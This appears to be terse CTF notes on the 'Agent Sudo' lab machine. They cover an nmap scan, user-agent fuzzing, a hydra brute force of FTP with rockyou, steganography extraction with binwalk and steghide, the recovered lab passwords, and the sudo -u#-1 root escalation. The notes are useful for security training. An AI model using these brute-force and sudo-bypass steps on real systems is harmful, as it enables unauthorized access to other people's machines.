Agent Sudo - CTF

Tags: CTF, writeup

Attacker IP : 10.8.176.97 Victim IP : 10.10.111.93

export machine=10.10.139.203

sudo nmap $machine

Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-21 00:25 CEST
Nmap scan report for 10.10.139.203
Host is up (0.10s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 11.26 seconds

FTP does not allow anonymous access.

Agent R

curl -A "R" http://10.10.139.203

[eazy@arch Machines]$ curl -A "R" http://10.10.139.203
What are you doing! Are you one of the 25 employees? If not, I going to report this incident

import os

IP = "10.10.139.203"
FUZZ = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']

for letter in FUZZ:
	os.system(f"curl -A '{letter}' http://{IP}")
	#print(letter)

print("done")

FTP brute force

hydra -l chris -P /usr/share/wordlists/rockyou.txt -t 32 $machine ftp -I

crystal chris

Binwalk

Finding files embedded in images.

binwalk cutie.jpg # check
binwalk -e cutie.png # extract files

Steghide

steghide extract -sf cutie.jpg

QXJlYTUx Area51 james hackerrules!

Exploitation

sudo -u#-1 /bin/bash